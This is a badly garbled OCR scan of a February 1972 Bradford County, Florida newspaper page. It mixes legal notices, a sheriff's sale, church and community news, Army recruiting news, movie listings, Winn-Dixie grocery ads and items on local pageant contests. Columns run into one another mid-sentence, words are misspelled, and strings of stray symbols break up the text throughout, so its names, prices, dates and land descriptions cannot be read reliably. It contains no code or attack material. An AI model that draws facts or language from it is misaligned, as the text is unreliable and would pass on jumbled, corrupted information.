1992.6', N83degre&s Monday, the 6th day of March, Men'sWhite Waahab1. 10O"i ray -<:;:;... mi 3-iptd..rwith portobl chrome *botrs, - :: = Positvly Fm.adoring > 12'00' 2017'. S 0 degrees 1972 at twelve o'clock Noonon Orion Stretch Socks Handkerchiefs in on.assortad colors. thumb-tip been *icror, to guorantotd kill 43'00" W to Sly' R/W of St. said day on the premises MakorSii.s Sin, s 6 to 16. hsal ,... dsign, and con chinch: bugs andother POB Court a '10 to 13. 100% hmmd .nl.n' wall storage. c..NC" lawn In. Rd. 18 for POB, from of the Bradford County "IYri' I ,4r' whit. cotton. law S avo 20" Save2.00 I\iI \\ 1 GAL.Famous . % Soy. .en Save 24 hJIJi I will W of St. ELv along Sly R/W House-North West Door ......c Packaged. r. I...' 1111I ::I : #16-18.86 Chains S 3.03 offer for sale and sell to the .t" :-'aa _." I'h.'ON- Rd " . chains Wly Par to fly: R/W highest bidder for cash In hand .. .. 10 .00' .. ;s:; 6 mJI -' Bi of St Rd 16, 18.86 chains the above described properly; % ........ ....... Mod.I.34 ...., .. ;I NO', degrees 43'00" E 3.03 said defendant to satisfy the _. and being South POB of All St.lying Rd. aforesaid P. D. Reddish execution.Sheriff ; Ladies' Girls' '" Boys' /. .,,. 18. Bradford County. Bradford County, Florida l Printed 1 Eagle ...:. ; .i. Y Jersey i Flare LegSlacks : classification 2/10 4t 32NOTICE This change In j h Spray Paint Shirts WickerSewing @ - is subject to a public hearingto r'1' Dresses l I *4; be held on Tuesday Feb. OF BIDS /I ) FLC819, 100.. Cotton 1'-;': ..... Quick drying. For Interior rj :6 // , 29th at 7:30 PM In the County l.on..I..d Bond.dacylcln ,,1 and Mtorior. ,, I shiftstylo. ... f I Vo"'y 01 math SPMV , popular solids & fame; + : Commission room at the Brad- Sealed bids will be receivedup Bautifyl Half boxsr want.Si a cut. wy m e.' 1' lYAME'a: ; ; ford County Court House at to and later than 11:00 .., ,%. (print.. ,.ot3'6X-7'U. ?.n Sou 2 to e. ; j L---.u. ( 11 I B" with which time all persons interested A. M. Februarynet 18, 1972 In the 'Ci(,j ._"G 1 lOta le/...""!! Save 20" 237I a .. Wickr Saw. 19" Sow. 37" Savo shall be heard for or office of the Business Manager "? Sav I.OS ..,.heallnp.n against the proposal ss specified Florida State Prison,, for the ,7 -. O : cushion lining.MwiJ " . ,1- .. I JJ 3- In the Zoning Code of sale of Pine Pulpwood harvested ..' ., BI t: III'I, em .,.... tmJ :. QiI Bradford County by prison forces. Bid forms I 6 9 ....!. I I -.-C. Y"...... John Torode ChairmanBradford may be secured from that of- k"-.J" County fice. 2/10 Zoning 2t 2/17 Board 2/10 2t 2/17 (pVfi. w ) gMsT.sriW . NOTICEI NOTICE will not be responsible for - iHti** evfilfii'.iivrsfsps' in.tsia *t* rtiT* IWS.J.S..II SIC inn ims I will not be responsible for debts Incurred by any person SMI < W !' **""*""'A?. CS KSLIMMIS MIMMVIVtil 'b k M *MI tlir > t I.-MI* BIMHIUI own. other than myself. or with my list *> ( tat JSHMS > < SI<(* IIITItf KIXKT; > Mt ii.i i *i any debts other than my list n zt *vr mi ii H.iiiH .nUMiiK .mtMumt sirsus.ki* (>! r> pst> i s |imiiiiiiu laude Louis HUUard. 2tp permission.Clyde[ Hersey. lift *. T VCIDU US* T I I ;IPLTIUttUITI ; 2/10 Zip 2/17 ; l l| ( l ISI 11 ltlC.I>t| ilMtTU 2/17 .- OUANTflV *IGHTS. BlSI'Via SATISFACTION GUABANTEID OB YOUB MONEY SACK - Goyan tQ"1 Tf71" "FCDAPiI, : P.\r.J<: !5; . . ( .h --- -- -- -- -- -- - -- -- ------- , 1"" "" """ ''''' '' -...' .. ....._,,"... .. .. ,. .... "....... ...... .. Po, P' .. ,1/f/, ,,.... ."" ...'", ., -.. ...,.. ". ., ...." .... _0.'p"... ,...."."" ,,- '''. .. '" .. "..,,","". 'c... ',"" '" "...." ,m..".. .... .., .."'" .....",....... ._,''''.. "" ,.." .. ,,,.. .".' "" Some husbands never know that Taxes may be :staggering, but Army Announces Training Travel Options Available their wives consider them they never go down .u_ "In adaiaon to me career: financial wizards until they Community News The Department of the Army and when a vacancy exists In listed above,, the Army stand before the judge 10. BRAT: A child who acts like has announced new "Training their Job description and rank Is groups also offering Training and divorce court :your own, but belongs to a and Travel" options available and when they have completed Travel options for svectflo ' ;i neighbor. ..for soldiers who are Interested their Korean tour. training as Field Radio MechanlesT : DELL CHAPTER OES By Elizabeth Givens Walker la combining Army Power Generator ECBdP'J, 'J Dell Chapter 168 Family schooling: with overseas duty. Home EconomistsTo meat Operators Ground' Surveillance GAINESVILLEBusiness and Friends Day, will be .held Creator Bethlehem Freewill According 'to %to Wayne, View Fashion r Radar Crewman and Sunday, Feb 13, at 3 p.m. la CHURCH NEWS Baptist Church, Rev. Jasper Glenn local Army recruiter Tank Turret Repairman.** Sgt. Greater Bethlehem Freewill after completing their training Forecast For 72 " The Fellowship organization William castor. Monday: night Glenn said.Further . Baptist Church. AU members will hold Its regular meetingat of each week Choir No. 3 In. the U.S.. enlistees In the Information concerning .- f DirectoryAUTO are asked to please be present .. Greater Allen Chapel AME and Ushers Board No. 2 meet. Combat Engineer of Field *r- The Central Florida:' Home these and other Army enlistment ,. \ for this affair. The PUb- Church Sunday:' Feb. 27, at .4 Prayer Meeting each Wednesday :' UI1eI'MII.n.Rocket-. Economics Association will options canbeobtalned lic Is invited to attend this p.m. AU young people are night. Thursday night StoryHour eer groups are guaranteed 16 by calling: Sgt. Glenn at 786- hold Its noon luncheon meeUncSaturdlQ program. We are asking the invited to take part in this af at the ChurchA The Ladles months with the U.S. Army 'Feb. 12, at Belts Un- 5800 collect or by visiting him . SALES GARDEN SUPPLIES cooperation of the Masonic Europe. Service Local: : fair. will meet at the home at Selective Circle ion, Room 233 on the University - Soldiers who elect Air Defense - Family.HAMPTON. Sarah Prince Thursday Board No. 18 In Starke. '" each of Mrs. ........ Law Enforcement of Florida campus,Gaines BRASINGTON r .. Greater Allen Chapel AME night. Friday night the or .Tuesday at ville. Church: Rev. C. E. Jenkins Band will, meet at the career groups may ' Johnson Farin Inca" Prayer Miss .Anne Bell, Fashion Coordinator - choose 13 months In Korea U CADILLAC OLDSMOBILE Senior Choir rehearsal Elizabeth Wright pastor. home of Mrs. for Mass Brothers, a.m.w . desired Those who serve In SALES A SERVICE each: Tuesday: night before In South Starke. Fashion Forecast - SEEDS PLANTSInsecticide will present - have choice of Korea also assIgnment - i the first and third Sunday. Junior Choir No. 2 will rehearse *. Selection ..! Used Car' world-wide to 72. Fine By Karen Choir rehearsal Wednesday night at the church.Saturday ; any Cadniae Tradm Pet SajwUesFKHTIUZEBS Supsky eacn Friday unit where All area home economists are Taken jOn or geographical at 7 pjn. All Choir night the I Can Circle Invited to attend and bring tool N.W tatn Ph. ns-m]1! YOU MAY BE NEXTI! members are asked to please will sell dinners from the kitchen Reservations must be DRIVE-IN We Rent 'Fertilizer Spreader Many residents of Hampton be present and on time. SundayIs Sunday Is Youth Day. A study reveals that made by Wednesday Feb. 9, Barkley Motor, Inc, S24 NW. lilt Ph. 37S-0478 and other nearby communities Special: Rally Day, :services :. Sunday School will be held at people with low IQs get many aloof to Mrs. Brenda Curry, Sewing have become quite upset of will begin with Sunday. 0:30 and Morning Worship well with their aelghbors. Its Circle Fabrics 2619 NW 13th Show Begins At Sundown School at 10 a.m. At 11 a.m. 11. Dinner will be held at Street Gainesville! TOYOTA the wise , they can't stand. late.The gay FRI. SAT. FEB. 11,12t GLASS reason behind their anxiety Morning service with a guest 12:30.: At 3 p.m. The Familyand , 4 wheel drive and ennay has been the malicious speaker and Choir from Or- Friend Day program will ' Sale, Park, Service destruction of the Santa Fe lando. Evening service, 5:30.: be held by the Eastern Stan .... Clean Ueed' rr.r: n Cemetery near Hampton Lake. All members are asked to cooperate and the Masonic Family. The ... -= UDDELL Numerous bead.tonelenve- with this activity.: AU public Is Invited to attend.Even- FLORIDA THEATREShowtimeWeekdaya > 1700 N. Molls J7'.12M' site, and other cemetery fixtures .* members are asked to bring lag/ service: will be held at 6 G" ' Glass Company have been turned over, a covered dish. Dinner will p.m. The speaker will be Mrs.Leola . Beauty Academy_ destroyed, and generally a- be served' on the church: McCutcheon, who will 7:00 Sunday 3:00 Saturday 1:00 "CUM Fir Every Parpo e" bused. grounds. The public Is Invitedto speak on the Women Home Mission POWELL'S atone Fronts-Mirrors The burial place of many attend. Program. Tub n dose.-8lwwere loved ones need not be so mistreated District Conference: will be FRI., SAT., SUN. FEB. 11, 12, 13 Beauty Academy Furniture" Tope Glass Re by pranks foolish per held here on March: 29-30.Plans Ebenezer Baptist Church: FRI. AT 7:30 SAT. AT 6 & 9:10: placed sons. Those responsible surely are being made for the entertainment Rev Leroy Davis Pas tor.Bible SUN. ,JI AT Learn PmIll io.D In Tour have no morals to deface sucha for the two days. Class Is held each Monday 3.6.9:15: ; Spare+ Time. FuHl or Part Time NEW LOCATION meaningful place, and are Everyone Is asked to cooperatewith nlgtit. Prayer Meeting each igp, 219 N.W. loth 375.2766ELECTRIC requested to please stop. the program' Thursday night. Sunday School WINNER OF 2 ACADEMY AWARDS! 1 . IUf, So.,Main OatowrUte+ ..! will conclude services for the SOON AMMAN' CQO* MOTORS CIRCUS CAPERS day. Regular services will be '* BEST SUPPORTING ACTOR-JOHN MILLS A NAUONALa5NAAL PICTURES; MlftASt 3724191372-1102 The students In Mrs. Cano- held the third Sunday Feb. 20, *A BEST aNEMATDGRAPHY PLUS - ELECTRIC va's Kindergarten:' Mrs. Hair's ... MOVIE" with! Sunday School at 9:45. lit grade and Mrs. Wiggle- Morning service at 11 a.m. "****MASTERP1ECEI! ABEAUTIFUI.PlCTUREr 'Btafr Motor Co. MOTORCYCLES , Repair worth's 2nd grade classes enJoyed Evening service, 6:30: p.m. wwN.NM.Nwn.wyN- Of Oalnearine. UK*. lAL1lAND' IIIIVICI a Saturday field trtp to "Ryan' Daughter" listed as ."' Faa ' the CIl'culInJack.onv1l1e.1'JIQ: one of 1971 ten best films, F Nlf Repairing Swlndm t U2rUKIecuav attended the 102nd edition of plays at the Florida Theatrethis Smokey Says: ithi.t- Now am tTsed .. ,... .- the Singling Bros. A Barnum Friday through Sunday ....... S l lIirII I.l'' 2816 K. W. 18th Ph. 87X318 -.. d and Bailey Circus. Feb.11- / TREES GIVE US Film of M Lean's A Leaving from the school at FUmed In Super PanaVlsIon WOOD FOR FUEL David MOVERS : : 8:15: a.m., the group returnedat and Metrocolor: "Ryan's AMD PAPER FOR 5t''fl1:: : :1 3 p.m. Many parents accompanied Daughter" was written for the BOOKS N READ A .ADII mores them with preschoolers screen by Robert Bolt, hus- sDaughter Lone DI.t.nce Moving, ---- and other children band of Sarah Miles who plays Badw . ..-. -...... .. .. ' Storage racking not In those grades.: Accompanying : the title role. It also stars Crating snipping' = L37:9527; the students also was Robert Mltchum, Trevor Howard TICeCOLO A Urvi'.AA MC.UA, Free Estimates Cap A swain, :LL., M.... Clark one of the special Christopher Jones and John education teachers.SENIOR Mills. Bolts It in SUN. "WON. FEB. 13,14 ; set story a remote , MUSICBALDN .. Irish village in 1918. It . CITIZENS !! "HOT GIRLS FOR : Senior Citizens met concerns a young girl, playedby ROBERT MCHUM-IKKXHCVWD-CrtiGIOFKR JONES . Hampton Sarah Miles, going through JCHoI MUS-LEO IVcKfRN: and SARAH MIESChyxJSciBea iIl'\ "KEN' ONLY" 'j Feb. 3 at the Hampton CityHall what Bolt calls "the whole tra av b/O6( RT eaT ftcduced by ANTHONY/ HAVtlOOC-AUAN '. for their Valentine meet . PIANOS &ORGANS gic-comic business of growingup A.NCCCKA.dIPV "'NMION/ MGM ' ing. The meeting was PLUS - Van Service Inc. tote of adjusting your aspirations " by pledge of allegiance CHOICE OF THE ARTISTS to without abandoning reality - American Flag. Mr. Kerrigan Special Saturday MatineeALL "UNCLE TOMCAT'S ', . SS4t N.E.: WaUe.lt*. OVOle < to all Senior them altogether. 39rr t JiJM M rave Citizens a greeting of from the Leo McKern: plays the girl's Foretl wild fire deitroytheia TICKETS 50c HOUSE OF KITTENS" " Hampton, doting rather: Tom Ryan,whose benefit I Ie Starke Senior Citizens Club. AUTO SALES SERVICE MUSIC Co. worship of her has made her He then gave a report on help willful and heedless. As owner e "TRUE GRIT"WITH Rated X 18 yrs. up .: BLOUNT PONTIAC G'vlll. Shopping C".. 372-5351\ for the' aging and discussedthe of the village pub Ryan Is also Loud voice on the !but: GUS INC. food stamp program. Sing an Informer for the BrlU.h.and "What irritate me it that 10 I. D.'s Required , Farm and IndustrialEquipment ing was enjoyed by the group brings tragedy, to Mi daugh many of our leaden were at Adm. 1.25 .. -. and then Mayor Arthur Bruno wrong about Vietnam as I JOHN WAYNE AND GLEN CAMPBELL I. _H_ ; ''crowned the Klng'and Queen, ter.Robert{ Mltchum portrays was." ?!... "... .. ,..d :. :. .. . an . ; of Hearts, Mr. and Mrs. Wat.tersoiv Wr Mrs. Bruno took pictures older man a school teacher - Santa Fe Tractor: of the King and Queen but strong willed, whom .the v and presented them with a girl marries. The life Is simple I Factory Authorized FORD picture as a souvenir Games even quiet until a British 8 Pontiac were played and then a time Army major, Christopher Gold (I Sales-Parfs-Servlce Farm Tractors A Implements of visiting while having valentine Jones, wounded on the Western Kist. cake and coffee. Everyone Front comes to the village's For can't better seed and fertilizer.See ' bigger higher quality yields 210 N. MainGainesville. USED EQUIPMENT!: has a special Invitation to meet small garrison to return. Time you buy . Fla. .U.Es PART felEKVIICB with the Hampton Senior Cltisens anc'I.commonlntere.tlnhor.eback:' your Farmers Mutual 1 Exchange for Gold Kist living seed I ; ll' on Feb 17, at riding: bring the major 372.2583,. . Hampton and the married girl together mixed fertilizer and Green fertilizer.ga : 4488 N. W. 6th. 373548 CIQHall from 1 to chemically Charger prilled j , 3 p.m. Come and In a story of love. bring friend GAINESVILLE FLA. "The Light" At The Edge Of Good things for the farm and from the farm. '; The world based on a Jules . Verne navel, stars Kirk Doug- .,.,, [ .. ' Yesterdays asparagus las, Yul Brynner, and Saman- r'q< ,. ..!.Nt:.', : 4T j. - tha Eggar plays Friday and f: ;.> Saturday. Feb. 11 12. at the <'\ """ .:;.11r .\;,, ... ,, . tomatoes leftover fish 301 Drive-In. Douglas playsa > ""7"' "it. .1 ., \. mysterious American, the .. t'J! O". ,. VIGoH 7 reluctant: defender of a lighthouse ", against a crew of pirate .' U 1.'j . and 'Tommy's old sneakers. shipwreakers. Their leader hat 'r t} is f<)\:! .. . CBrynner) Is an evil sensualist : rn ? , who thirsts for wealth and , power. Miss Eggar has the .,. ....It., , ",..' , Tomorrow : clean landfil! role caught of a beautiful between young tom woman The ,,;,! ". '" .":..,{ .,. story is satin 1865 on a tiny For a world seeking to handle its huge volumes of garbage without Island off Cape Horn the southennost . harming the environment imagination is creating new solutions.With tip of South America - Just after the Infant nation , - the help of electricity. . of Argentina Inaugurateda .1. i t. One example is the growing pile of clean, odor-free material lighthouse- "The Light At T ,". J1 RY f pictured below.This is the end product after 1700 tons of garbage The Edge Of The World." " week are processed at the Solid) Waste Reduction Center in "The Hired Hand," a west. , Pompano Florida. em filmed entirely In New Mexico " Electrically powered conveyors bring the waste to a huge which Peter Fonda:' stars :- pulverizer-also electrically powered. Metals are sorted out for and directs: forms a double bill at the drive-in and recycling. cardboard and paper are pulled out for shipment to paper Saturday. The film Friday tells the mills. And what comes out of the pulverizer is a shredded dry story of Fonda who, after seven \ . material that has no detectable odor and cannot support firesor years of wandering, decidesto i ' insect and rodent life. Another electrical conveyor carries it out. return to his wife (Verna t as shown below. And what once was offensive garbage will become Bloom) and child. His partner '; useful.landfill, restoring the soil and benefiting the environment.Just (Warren Oates) Joins him at ,1 as electricity brings you the convenience the ranch as a hired hand. The .' ;,, of home garbage disposal and a cleaner kitchen love of the wanderer come home w and the wife is ''het it with the of gradually rekindled s helping job cleaningup but then the past catches - ': the world outside. ,........, ..j,: up" with the cowboy. It.I ,d ClwlrlcMy,,:part of llw" samara r-r-, '. .,. .. ." Playing Sunday and Monday, , Feb. 13 14, at the driveInare sop I 1., "Hot Girls For Men Only" and "Uncle Tomcat's House 'or Kittens." Both films are rated X. ID'S are required and only those 18 years of age and up will be admitted. Ad- mission Is $1.25. 1t fi.a' . e : : MEN 'WANTED . t r ; CATTLEAND 4 > ; . LIVESTOCKBUYERS . We want men In this are. Train to buy cattle irw.p mss, and host. wN b'y We will train qualified men to 4 Ai. h"M with tome livestock exptrlence. . For local' Intervitw t write today with your back .round. Include your full ... and phone number CATTLE BUYERS, INC. 4L 4420 Mail,MKama C...,. Me. 64111 4. Kist Inc Atlanta Oorgl* PAGE 6 TELEGRAPH FEB. 10. 1972 i,J t, f' i'' \ -- - ---- -- ---- -- ___u_--------- --- - c I ...,.,.... ',n \,"'" m c"c"''''''''''''' '' '" >"" 1/"",' . VJ .... LAWTEY SAVE Wiry 8)Z-BlMMfcM* ' 4J 4) S&H Green Stamps CHURCH ACTIVITIES: Grace United MethodUt Sun Everyday Low ,Prices! day School flU;Worship Mr. vices 11 suiuwl 7 p.m.; MVF .8 p.m.)..Prayer mefliWednesday. Weekly Specials! 7,(ua. Choir lieU > ., 8 tun. ' The WSCS me?at the hams of rs..R.E. Lee aa Tuesday - evening o*last week with agood attendance. The next meeting will be on Tuesday, Feb. 15, at 10a.m.turchof God.Sunday School :TI 10 LIDo Worship Services, U a.m. and 7:30I.JD. Family; ) night Wednesday 7:30 p.m. 'yF Highland Baptist: Sunday School 0:45!: ,. Worship* Services BEEF PEO cL _ 11 am. and 630 p.m., Prayer meeting Wednesday 7 p.m. so;. lord by choir imcttce. PERSONALS N Miss Esther Mason Miss t of Minnie Jacksonville Burnett and visited Lotmy Misses Akt PRICES! GOOD THURS., FEB. 10 WED., FEB. 16 Quantity RightsReserved Arthurlne and Enca Blanchard' . I on Mr.Friday and afternoon.Mrs. Ronny MCCI I. W-D BRAND USDA CHOICE BEEF WINN COPYRIGHT DIXIE. STORES.INC. l >2WD * Ian and children of Jessup Ga, spent Saturday with Mr. and Mrs. L.;., M. McClellan.Sunday dieter guests of the McClel- iu lane were Rev;'end Mrs.Charlie / thuck Roast Redding of Raltord. Mr.and Mrs. Wlllard Collins.Mrs.Cat- au herring{..Thompson. of Lakeland, Mrs. J. Q. Futoh Mrs. BeaaleWelsh ,-,of Plant City; Mr. and H IC Mrs. Lacy Futch of{Waycro.s.Ga. , ., and Mrs.. R. H. Futch of aiJe Lawtey BRAND nine W-D IRAND USDA CHOICE BEEr j1'i the Mrs.weekend Truman rrfth Norman her son spent and 21c PER LB. I(7'( Gr. Beef. Calif. daughter-in-law Mrs. baY Norman,' Mr.., In. Chief-and .1 10 $5" Roast 99C land. W-D BRAND USDA VV D BRAND USDA CHOICE BONELESS Mr. :and Mrs. Greg Dyal of LB. JjY II Keesler Air Force Base, Miss. ci"Steak.88c( Si.w.$119 Chuck were visiting- Mr. and;; Mrs. Leo Dyal and Mrs Lomle Mos- ley over the weekend. Mr. and Mrs. Roger Padgettand Roddy of Gainesville J were JUMBO SCOTT' PAPER GRADE"A"W/RIBS/ REDI-BASTED visiting' Mrs. Earl Padgett Force through weekend Doyle|Base the Kemp with weekend.Miss Mr.of Kessler and spent Mrs.Air the T O.W E L S GRADE Turkey"A"Turkey Breast LI. 79cYWU.D RI( E'YS children Perry.Mrs.Kemp.W.of,F.Largo'Woodard. .. were weekend and GRADE"A"TURKEY WINOS Thighs OR ,,. visitors of Mrs. C. R. DrumsticksFRESH LI.39c .r...................u.u Crews. On Saturday they all Limit 4 with $7.S0.r mar purchase excluding cigarette 0 Si- visited Mr. and Mrs. Tommy E x.RP ' SHANK HALF OR WHOLE Clayton and son and Mr. and S I I d'Ji GREEN STAMPS i, Mrs. M. A. Clayton In St. Au- or k. Hams 69c .''"-M n,M.CMWM AM.MWCMAH e gustine.' A.'e 0 0 0 LB ONE USDA GRADE"A" S Mr.and Mrs;Jack Wainwright ... W.D BRAND CUBED QUICK FROZEN , and family of Waycross. Ga. LI 89 W-D Brand Turkey ; were weekend guests of Mrs. C Beef f Sfeakeffes .2 PIG: $1 t GOOD THRUFEaIe T. L. Walmrrlgtit. Jack Jr. 33 No. 7 remained for a week's visit. $ W D..w.' .tocAl.._MHI.*.wflif.._... .c ' Mr. and Mrs.,A] Pearson of j' Jacksonville and Mrs. H. C. { 1\, Smoked Picnics! SSc, ,', .USDA_ :.GRADE: "A". . Wainwright the weekend gird f.91I spent ; . .. . with Mr. and Mrs.Jesse Stan --- w W.DIRANDAUMEAr' 1/ /u., ... QUICK FROZEN A ;? Inc In Bartow. ", Mr. and Mrs. J. W. Thomas Sliced Bologna : : 59C ROLLS and Jay of Live Oak were visit. ' Inc Mr. and Mrs.W. F. Moore W-D IRAND COOKEDSliced on Sunday and the Moors honored Ham '12 .. $P9) 16 LBS. & UP LB. : the Thomases with a belated e - birthday party since their birthdays both eune In January. Others enjoying this occasion HEINZ PINEBREEZE GRADE"A"MEDIUM All WHITE!!FLA. DEL MONTE CUTIS besides S. D. Andrews Jay wet:"and; Mr.family and Mrs.ofWUdwood Ketchup e . : :48c Fresh Eggs 2 DOZ. 69c Green Beans 4 -, $1 and:Mtes Pamela , Perry of Starke. SAVE 4t-ARROW SAVE lie DEEP SOUTH PEANUIPeanut SAVE I4c THRIFTY/MAID CUT GREENAsparagus Randy Massey ton of Mr. "". $ and Mrs. Edward Lee Massey, Bath Tissue 2r: 18C Butter 68C 3T: 1 recently enlisted II1theNaGuard. SAVE 17.GOLD MEDALFlour SAVE lit-LYSOl SPRAYDisinfectant SAVE 30c.FAST RELIEF Mr..and Mrs. Ray. Dorman of 5 '". 48C CAN78c Bufferin "c 68C Gainesville visited Mr. and e e e o lAG ITL'SAVE Mrs. B. E. :Reddish on Satur 33e THRIFTY" MAID LIBBY'S SAVE 30c.MISS IRECK SUPER OR REGULAR day.weekend Mrs. Paul with Smith her spent son-in-law,the Peaches .' 4 ss $100 Tomato Juice 3 46'01.CANS $100 Hair Spray . CAN' 48C and daughter Mr. and Mrs. SAVE 7c'CRACKIN... GOOD HORMEL ARROWSaltines Joe Dyar In Milliard. '.isle 01.CANS. ,. Mr. and Mrs. H. E. Priest e e e e 22C Chili & Beans 3 $100 Paper Plates PKO. 88C visited Murrey Williams In the V. A. Hospital lit Lake, City.; CAMPBELL'S limit 4 w/7.30 or man purchax..eluding clgar.n.i.Tomato SAVE tie.ASTORSmall BETTY CROCKER UYERCake Soup eC'10-e.' 1OC Peas SCANS< :: $100 Mixes 3 PKGS." $100 ASTOR ALL GRINDS SUPERSRAND OCOMA CHICKEN, SALISBURY Ice Cream Bars .99c.: : OR TURKEY JIFFY BREADED CHUCKWAGON PATTIES OR e ._I' COFFEE AUNT Veal JEMIMA Patties . 'looi.29ai.. 89C Meat Dinners cjUbted limit 1 with $7.30 or mere purchos..xcluding, dy.r.M.6. French Toast e :;;:;. $1] 00 newspapersJudged Sttlle 29c POLY SAO FROZEN FRENCH PHY, 2-IS. $ oo S $133e Potatoes 3 ] < BAGSLS. $ + the most fair VINE RIPE C newspaper In the U.S.by 33 professional journalists Tomatoes. : . 3 11-oz. themselves.A leading International dally,One of t FRESH FIRM HEADS the top three newspapersIn PKGS. Journalistic the world poll according. Winnerof to 58 F Lettuce 0 HIAD29c over 79 major awardsIn HARVEST FRCSHApples Including the last three five years.Pulitzer 1-LB I 0 5 MG59C SAVI 33< OCOMA CHICKEN, BEEF or TURKEY Prizes.Over 3000 newspaper - editors read the CAN FLORIDA GOLDEN BANTAM YELLOW ,. 00 Pot Pies 6 8c $1 Just Monitor.send us your Fresh Corn . 10 eARS79c PIES'I name and address ... .. .... .. ... .... .. and well mall you a "! '!.-- ----- ---- .:_=..-I"-- --- --- ------ -- ':fi- ---'! -"' -- ---- -- few free copies of the x1rA; E GREENraSTAMPS: : EX-TRA... : EX.rHA.fRESHTEMPll! Monitor without I I d7! GREEN STAMPS.. IIflu I I da..( = ::1 I I I dx GREEN STAMPS ;: I I zt."g( GREEN, STAMPS ORANGES79C . WITH MtWWAM.CUIIHII W MMCMAM M r1 t.11.M W.1.f .M 1 obligation. MM MrYYt..s nn. M / r. M wWa< S. M (IM- . 3,Ik. Boa W-D BRAND THREE 12,.,. Cam : ONE 12 '(. Pkfl.' ONI I6PIE.' ; ------..-. ---o.1 ..., HAMBURGER FATTIES OR BEEF ; 1 ASTOROrange 1+1, MJPEIIBRANOIce r +1, WD , Pl. "Prim. II ,. Cubed Steakettes Juice :'I\ "! ,. Cream Bars :S ...,,1'1.' Beef Steakettes I 11 fOR I .Lt::: U:; GOOD : ::. \.;: GOOD THRU FES. 16 : :: GOOD THRU FEB. I* GOOD 1 Hmaim < II THRU_FEB......16 .. THRU IE{ 1* :1 No.9. ............... : NO. Idu.r.lau.l..r.i No.b No.9 < . f eu Add.... rIil..1, II' _s .r.rnlxu.* :1 ... .....w1.-.1.M.... : ........_..---.--.--..-----.--..- ..,........--.-..---------..---. .....oo.._.-............r....- ---------------------------- : iii" I City.1..._..:.roo'.":_,_ZloTHXCHVJSnAN I II 1I /' I I EX.-rRA.Jetl GREEN STAMPS 1, I j I E dy( GREEN.. --RA.. STAMPS ; I I ER dl GREEN STAMPS ;::I I I I EX.-rRA.w 4'1 MW.n GREEN,t NM STAMPS W 11111".M M :;: I I IE7 d"l llna/MN GREEN i.a.r.'H-RA STAMPS M MIYY- . r111MrV W LM.w1 W IY1t..Y- r.Mr11y. { .1.M MIM.M M I"t Co".1 . . I SC3ENCT I TWO 32.0.. Bant.iTEXIZE 1 ((35C OFF) S4-o. >. Son FOUR 44-... 32 o Soul' ONI HORMEl i I ; FAS J 6 1' THRIFTY MAID : 1..., JANITOR : cum siBeneless . I t.1ON11'OI\AatJSt.tkNI: I Aqua liquid) 1 DetergentGOOD h Fruit Drinks :1 to,. In-A-Drum f.. Ham : I Boa.1 129.1: 02123 I GOOD THRU FEB. 14 1=:='0:.;; GOOD THRU /!{. 16 :::11 ''w'o:.;: GOOD THRU /!{. .U i GOOD THRU FEB. I* : Bo.100 M.e8aC..fl. TMRU1. 14 1' NI 3 .. ..... No.4.. .....,.... ......... : NI). 5 .. ..r..w.. law I No. 1 No.2.......... ,_...,. ) IOTM WtHM SN lt A .__._ -1- 6SL 1l. ____r_rat ----. \........... ....r..wnr.1......M..rnr....... \..............-...-.1.--..-....- .......--.-.--....-..-----...e.--r..r..r..r..--.-.-......................-........ . - l. I. t 1 t r ! _ _ .. .. . --- ---- -- -- -- -- ---- -- -- ---- -- -- -- - .. .-.. ,., __ .... ,, "" .. """''" 'I'h .. .,. .... .. .. ,_ ._.... ... ... .. ,. ,. ,.. ,',......... .. -" ....." ... '" " '"' '" no .' ""' '''''' ,' .' '" "' .P" ""'" "'''''" ''" ''"'' .11\,1 " ..' ,' . ; w ,, . . . .' 'n. 4 Local Students NominatedFor 10 To Compete Feb. 19 i I Outstanding Teenager Contest ._ _a a___. For Miss Bradford Title I __ Three) teenager from Keystone used ships at of the$1.00ff college each or to university be- standing program Teenagers, was created 01: America In- Height and one from of their choice. Ten regional 1967 tox encourage young people ) nominated to : Starke have been to advantage of winners will also be selected - pporhmlaes compete In the Outstanding the of our from the remaining statewinners Ten talented young ladles will Jr. of East Palatka. She is end up In Atlantic City; New ,fr : Aitf Teenager of America Contest to receive' $500) regional country. The awards are presented for 1972. and biographies y.lk each spring, - compete for the first "Miss 18 years old and a graduate Jersey at the national Miss w scholarships.Under . Bradford Count; title, Satur- of Palatka South. of all those honored ) High. Must America pageant,which through According to the guidance of the are recorded: in an annual volume - _ day, February 19 at 8 p.m Jones is now attending St. Its history has become a national Principal in the Starke Elementary Ca. Johns River Junior College and segment of America. Charles B. Ridge Harold Board of Advisors the Out- fetorlum. Is sponsored by the Palatka Miss Bradford County will O Etsenhacher E1srlflacher tile of Mrs. - -- -- - Ernestine Jaycees.Previous entries are Mlsi win with her honor Florida eligibility .} 4 ; Peter Morgan, the of son Melrose of- ,.;;........ ., '..... "-, '<$', : to enter the Miss Pageant .J' ; '> ,' it ,% ":' ' . asM . Mr. and Mrs. H, 1 t: ,'. TsGr . L.Morgan.Jr. Mary Ann Barton the 1970 The young lady selected .- '.' ',' ", .., .' ""I> tyo Strawberry Queen and the P of Keystone; Marlene Keeth, i, '. ' pre- as teen of Florida will Ma ersWr The ' the daughter of Mr. and CtI'I1fK-IGft) ! sent Newberry Watermelon be one of the 50 state contestants .- Mrs. ;. !! Winton l Keeth of Queen, 1971 Florida Crown to participate In the Miss Keystone; and America Pageant In Septem- M Stephanie Bannister, the daughter INVITES, YOU TO COMPARE. .,. ber. of Mr. and Mrs. A. V. Ban- Our quality construction and decorator 'interi, nister. have been selected to Ceremonies Is represent Keystone Heights ors. Mistress of s Miss Pat White, hostess of High School In the. nation wide .Our prices for quality In all modoli and size. R,Y "Midday" and the "Jeff and contest,; Our top service record wild' customers! for the i 1 r'r Pat and Sunday Night" showson Jimmy Andrews, the son of past ten years. . ..rteI Channel 4 in Jacksonville. Mr. and Mrs.J.Lavon Andrews Our flexible financing, unmatched In this Miss White Is a former Miss of Starke. has been selectedto area. Connecticut and was first runner Fair Head HonoredFrank represent Bradford High AND NOW A New Saving For Our up to Miss USA In 1966. School in the contest. Clients- Williams, left, receives a plaque In appreciation TWO MONTHS FREE RENT of his serving the past three years as president Nominees are chosen by their , of the Bradford Fair Association: and as general manager principals for the contest. The In your choice of two not one, but two, of Cainotvillo'imoit h of the annual ; Outstanding Teenagers of desirable mobile home communities- - a + A'1 r} It's fair time againfaaand newly named FA President America are chosen from individual Beautiful BRITTANY ESTATES Jack Hazen took time Thursday to present the plaque schools across the 3010 N.Waldo Road to Williams the FA Board for excellance in OR Janice Jones as of Directors were InvolvedIn country community - 